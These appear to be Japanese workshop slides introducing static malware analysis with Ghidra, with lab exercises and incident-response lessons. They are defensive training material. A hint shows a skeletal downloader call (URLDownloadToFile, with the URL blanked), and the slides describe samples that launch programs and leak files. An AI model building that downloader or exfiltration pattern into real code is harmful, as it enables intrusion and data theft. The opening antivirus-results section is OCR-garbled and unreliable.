Avira (no cloud)	() TR/Ransom.jrrum	BitDefender	Gen:Heur.Ransom.MSIL.1		Pansom ave - Hybrid Analysis	
CAT-OuickHeal	Troian GenericFC \$2955981	Comodo	Malware@#117rxvnduhto2		https://www.hybrid-analysis.com > sample > dde7c1c88a ▼ このページを訳す	
		Somo	0	4	Net assembly, for MS Windows; Architecture; WINDOWS; SHA256; dde7c1c88adce965134af781ad7efa3cb75a4f2cc028b1de2741d0518481602 Copy SHA256	
					to clipboard. MD5; 13c1c68c1410df277fc37d68557bb43b Copy MD5 to .	
夕*	かのわちっしティオ	ナ生いフト	T			
	207 27 277 17				고난상 비사 비사 가 비 년 년 년 7 년	
	ンサムウェア」とし	て検知し	ており、) <u>"</u> ;	降析結果が掲載され7ミノロクによると	
		****		Ŧ	多泊立が表示されず 陪早化されたつ	マイルた
	レリエアでのつり	能性か高		F		11112
				1 2	≤易に復号化することができるため、シ	ショーク
					コレニンドいフルウーフレ田かわて	Ť
					ノノトに迎いマルリエアと忘われる。	

講義



動的解析の一例

 不審エクセルファイル「(73).201805請求データ.xls」を、動的解析クラウドサービスで 解析してみます。

SHA-256: eb2321fa91f40abd0140ecd7e4a1a5a67a0e9af615362cfb4eefa6272ac449c2

◆Hybrid Analysisでの解析結果

https://www.hybrid-analysis.com/



講義

静的解析は難しい?



- ・ 逆アセンブルリストを読み解く必要があるため、難しいというイメージがありますが、
 「大まかな挙動を、なんとなく見てみる」レベルであれば、初心者でも大丈夫です。
- 本勉強会では、学習のキッカケ作りのため、敬遠されがちな静的解析を「体験」します。

◆静的解析スキルの活用例(学習のメリット)

- メモリダンプから、マルウェアの挙動を詳細に確認することもできる。
- 「この業務プログラムには、暗号化したうえでパスワードを埋め込んであります。」と言われた場合に「いや、ただのXORですよね。見えてますよ・・・。」と指摘できる。
- 静的解析ができるとカッコイイ!? 🗲 重要



講義

1

静的解析に必要な知識

C言語とWindows API、アセンブリ言語のちょっとした基礎知識があれば、静的解析の学習を始めることができます。

C言語とWindows APIの基礎知識

・関数(printfなど)の呼び出し方、条件分岐(if文)
 ・いくつかのWindows APIの関数 など

アセンブリ言語の基礎知識

・いくつかの基本的な命令・レジスタとスタックメモリ など

講義



これだけ理解すればOK!? C言語(1)

- C言語は、さまざまな「関数」を呼び出して処理を実行します。
- 関数名の英単語から動作を推測しましょう。
 - 最初から全てを理解しようとすると挫折します。理解できなくても気にしない!
 - ◆C言語のソースコード



講義

これだけ理解すればOK!? C言語(2)



• 処理を条件分岐したい場合は「if - else」文などを使います。

◆C言語のソースコード



講義



これだけ理解すればOK!? C言語(3)

- 本勉強会の実習では、下表の関数が登場します。
- 英単語から動作を推測し、詳細を知りたい場合はインターネットで調べてください。

◆本勉強会に登場する関数の一例

関数名	概要
printf	 ・ 文字列を指定した書式で印字する。 ・ 関数名末尾の「f」は、書式を意味する「format」
fopen, fread, fclose	 ファイルの読み込みを行う。 fopenでファイルをオープン状態にした後、freadで読み込みする。処理終了後はfcloseでファイルをクローズする。
WSAStartup、socket、 connect、send、closesocket、 WSACleanup	 ネットワーク接続しデータを送信する。 connectで指定したIPアドレスに接続し、sendでデータを 送信する。その他の関数は前処理・事後処理で使用する。
gethostbyname	• ホスト名の名前解決を行い、IPアドレスを得る。
htons	 ポート番号の前処理に使う。 (ホストバイトオーダーからネットワークバイトオーダーに変換する。)

講義



これだけ理解すればOK!? Windows API

- Windows APIは、ファイルの読み書きなど、Windows OSのさまざまな機能を利用するための関数のことです。
- 本勉強会の実習では、下表のWindows APIが登場します。
- 英単語から動作を推測し、詳細を知りたい場合はインターネットで調べてください。

◆本勉強会に登場するWindows APIの一個	列
--------------------------	---

API	概要
URLDownloadToFile	 指定したURLからファイルをダウンロードする。 引数としてURL、ダウンロードしたファイルを保存するパスを指定する。
GetLocalTime	 ・現在の時刻(日本時間の年月日、時分秒)を取得する。 ・引数で指定した変数(構造体)に時刻情報が格納される。
WinExec	• 引数で指定したプログラムを起動する。
GetCurrentDirectory	 カレントディレクトリを取得する。

講義



これだけ理解すればOK!? アセンブリ言語(1)

- C言語など、人間が理解しやすい「高級言語」で作成したプログラムも、最終的には「0」、「1」の機械語(マシン語)に変換されてから実行されます。
- アセンブリ言語は、機械語とほぼ1対1で対応した命令を記載する「低級言語」ですが、
 解析ツールを使えばプログラムの動作を推測することは決して難しくはありません。

- ただし、「面倒くさい」、「時間がかかる」のは事実です・・・。

◆C言語とアセンブリ言語のコード

C言語	_	アセンブリ言語(解析ツールによる表示例)		
ソースコード		命令 (オペコード)	パラメーター (オペランド)	
<pre>printf("Hello World!");</pre>		PUSH	s_Hello_World!_0040c000	
		CALL	_printf	
return 0;		XOR	EAX,EAX	
		RET		

講義



これだけ理解すればOK!? アセンブリ言語(2)

- 本勉強会の実習にあたり覚えたほうが良いアセンブリ言語の主な特徴や命令は下表のとおりです。
 - ざっくりとイメージを掴んでいただくため、正確性を割り切った表現としています。

◆アセンブリ言語の主な特徴や命令

項目	説明			
関数 呼び出し	 CALL命令で関数を呼び出しする。 引数は、関数呼び出し前にPUSH命令でスタックメモリに格納する。 (引数と逆の順番でPUSHされるため、第一引数が最後にPUSHされる。) 			
スタック、 レジスタ	 データな スタックI 積み木の レジスタ EAX、EI 	データなどを保存する領域のこと。 スタックは、PUHS命令でデータを格納、POP命令でデータを取り出しする。PUSHで 責み木のようにデータを積み上げ、POPで上から順にデータを取り出しする。 ノジスタは、CPUに設置された容量が小さいが高速に読み書きできるメモリ。 EAX、EBP、ESPなどのレジスタがあり、用途に応じて利用される。		
	関数呼び	PUSH(引数設定)、CALL(関数呼び出し)、RET(return文) ※関数の戻り値はEAXレジスタに格納。		
	回じ 例: PUSH s_Hello_World_0040c000、 CALL printf			
命令	IСФ	CMP(比較命令)、JNZ(比較結果に応じたジャンプ命令) など		
		例: CMP ECX,7(レジスタECXを7と比較)、JNZ LAB_00401040(7以外ならジャンプ)		
	亦物代入	MOV(代入)、LEA(代入とほぼ同じ)など		
	友奴\\八	例: MOV ECX, 7(レジスタECXに7を代入)		

講義



- 代表的な静的解析ツールとして「IDA Pro」、「Ghidra」などがあります。
- 本勉強会では「Ghidra」を利用します。

◆静的解析ツール

名称(開発元)	ライセンス	特徴
IDA Pro (Hex-ray社)	有償※ ※機能制限された フリー版もある	O 製品として成熟しており、高速・高機能。 O デバッガ機能がある。 × 高価。デコンパイル機能は別売。 × アンドゥ(取り消し)機能が無い!
Ghidra (NSA)	オープンソース	 ○ 十分に高機能。 ○ デコンパイル機能がある。 ○ アンドゥ(取り消し)機能がある。 × 正しくコードを解析できない部分がある。



実習 Ghidraの操作練習

• 実習を通じて、Ghidraの操作方法を確認します。

実習1 ダウンロードファイルの特定

実習用プログラム「/var/samba/public/tips3/re01_urldownload.exe」を解析し、
① 不審プログラムがダウンロードしたファイル名(保存先のフルパス)、
② 上記①のダウンローと元URLを特定してください。

[ヒント] 実習1のソースコード

#include <windows.h> #include <stdio.h> #pragma comment(lib, "urlmon")</stdio.h></windows.h>
<pre>void main() { printf("Q1.What URL do I connect to?¥nQ2.What is the path of the downloaded file?¥n"); URLDownloadToFile(NULL, "http://", "C:¥¥", 0, NULL);</pre>
return; }

Ghidraの操作(1)起動



- 実習用仮想マシン「Caine」の「Main Menu」からGhidraを起動します。
- 「Tip of the Day」ダイアログは「Close」をクリックして閉じてください。

Caine's Home		
Reverse Engineering Windows Forensics Tools Pot+U1 Ordynamic Pot-Avrb Artra Brances System Intoornamic Intoornamic </th <th>click and and remove table columns as desired by reflecting on a table header.</th> <th></th>	click and and remove table columns as desired by reflecting on a table header.	





- メニュー「File」-「New Project」をクリックします。
- 「Non-Shared Project」が選択されていることを確認し「Next」をクリックします。
- 「Project Name」に任意のプロジェクト名を入力し「Finish」をクリックします。

Ghidra: NO ACTIVE I	PROJECT PROJECT	
File Edit Project Tools H	delp	
New Project	Ctrl+N	
Open Project	Ctrl+O	
Close Project	New Project	×
Delete Project	Select Project Type	0
Archive Current Project		
Restore Project		
Install Extensions		New Project
Import File		
Batch Import		🐻 Select Project Location 🛛 🔘
Open File System		
Exit Ghidra	Non-Shared Project	
	U Shared Project	
Filter:		Project Directory: /home/caine
Taxa Misuri (Table Mis		Project Name sendaictf2019
Tree view Trable vie		
Running Tools: INACTIN		
		(3)
		- \
2	()	任意のブロジェクト名を人力
		(/Fil condetation(0010)
		(191): Sendaicti2019)
	<< <u>Back</u> <u>Next>>></u> Einish <u>C</u> ancel	
l		
		U
		<< Back Next>> Emish Cancel
	-	

Ghidraの操作(3)解析対象ファイルの追加



- メニュー「File」-「Import File」をクリックします。
- 「Select File to Import」ダイアログで「My Computer」をクリックし、ディレクトリ 「/var/samba/public/tips3」にある「re01_urldownload.exe」を選択し「Select File To Import」をクリックします。



実習1



Ghidraの操作(4)解析対象ファイルの確認

解析対象ファイルの確認ダイアログが2回表示されますが、そのまま「OK」をクリックします。



実習1



Ghidraの操作(5)プロジェクトウィンドウ

- プロジェクトウィンドウに解析対象ファイルが追加されました。
- 解析対象ファイルをダブルクリックします。

Ghidra: sendaictf2019	×
Eile Edit Project Iools Help	
20 24 24 24 36 5	
Tool Chest	_
A V	
Active Project: sendaictf2019	_
sendaictf2019	
re01_urldownload.exe	
	-
Filter:	1
Tree View Table View	Ŧ
Running Tools	
Workspace	
Deleted local file re02_getlocaltime.exe	

Ghidraの操作(6)自動解析



- 「Analyze」ダイアログが表示されたら「Yes」をクリックします。
- 「Analysis Options」ダイアログは、そのまま「Yes」をクリックします。
- 自動解析処理が終了し「Auto Analysis Summary」ダイアログが表示されたら「OK」
 をクリックします。(PDBに関する警告が表示されますが問題ありません。)



Windows x86 PE RTTI Analyzer> Couldn't find type info structure.

OK

1.1



Ghidraの画面構成

 本実習では、主に「Symbol Tree」、「Listing」、「Decompile」の3種類のウィンドウを 利用します。



実習1

main 関数の 表示



Ghidraは、main関数を認識してくれないため、下図手順でmain関数を表示します。
 (他のプログラムでも同様の手順でmain関数を表示できます。)





main関数の逆アセンブルリスト

 「Listing」と「Decompile」から、Windows API「URLDownloadToFileA」の引数を 確認します。





実習 不審プログラムの調査

実習2 動作条件の特定

実習用プログラム「/var/samba/public/tips3/re02_getlocaltime.exe」を解析し、 プログラムが動作する条件を特定してください。

実習3 起動される外部プログラムの特定

実習用プログラム「/var/samba/public/tips3/re03_winexec.exe」を解析し、 同プログラムから起動される外部プログラムを特定してください。

実習4 情報流出したファイルの特定

実習用プログラム「/var/samba/public/tips3/re04_malware_easy.exe」を解析し、 情報流出したファイル名および通信先FQDNを特定してください。

(注記)本プログラムは、開発用サーバで起動されたプログラムを実習で解析 しやすいよう修正したものです。



講義



解析に便利な機能(1) 関数名・変数名の変更

 ・ 関数名・変数名(Ghidraではラベルと呼ぶ)を分かりやすい名前に変更すると、コード
 が読みやすくなります。

(After)

◆関数名・変数名の変更方法

(Before)



講義



解析に便利な機能(2)参照機能

 参照機能(Reference)を使うと、関数の呼び出し元・文字列の参照元コードを簡単に 探し出すことができます。

◆関数の呼び出し元の検索



講義



実戦におけるマルウェア解析

- 本物のマルウェアは解析妨害機能があり、一筋縄ではいきません。
- 実戦では時間の制約もあり、静的解析を実施できる機会は少ないかもしれませんが、 静的解析の知識(アセンブリの知識)は、脆弱性攻撃やセキュリティ対策製品の動作 原理の理解にもつながるため、ぜひ学習に挑戦してみてください。



いきなり体験! インシデント対応





講義

開発用サーバのインシデント対応の振り返り

マルウェア解析の結果、開発用サーバ内の本番データ(顧客情報)が流出した可能性が高いことが判明しました。



本事案では外部セキュリティ専門家の支援を受けるべきだったかもしれない。 しかし、組織・事案ごとに状況が異なり、時間的制約やコストの問題もあり、絶対的な 正解はない。自組織の危機管理体制のなかで判断するしかない。

(注記)本勉強会の実習では、マルウェア解析により情報流出の有無を特定したが、 一般的には、通信ログ、メモリ解析なども含め総合的に判断する。 (マルウェアの静的解析だけで判断することは無い。)

本事案では、開発用サーバのメモリを保全せずにシャットダウンしてしまいました。

事象究明のために、メモリ解析が必要な場合も多い。 インシデント発生時には、メモリも含め必要なエビデンスを速やかに保全できるよう 事前に初動対応手順を整備しておくことが望ましい。

講義

重大インシデントへの備え

サイバー攻撃によるインシデント対応には、多大な労力・コストがかかります。

- 自組織のシステム対策、運用体制などを再確認し、必要な対策を計画的に実施することでインシデントの未然防止を図ることが大切です。
- また、インシデント発生時に迅速・的確に対応するためには、事前に対応手順を整備しておくことも大切です。





インシデント発生時は、自組織への影響を最小化するための 「危機管理」として対応

ネットワーク、ログ解析、マルウェア解析などの知識があると 原因調査に役立つため、実務者のスキルアップを図る

インシデント発生時に迅速・的確に対応するためには、 事前準備が大切

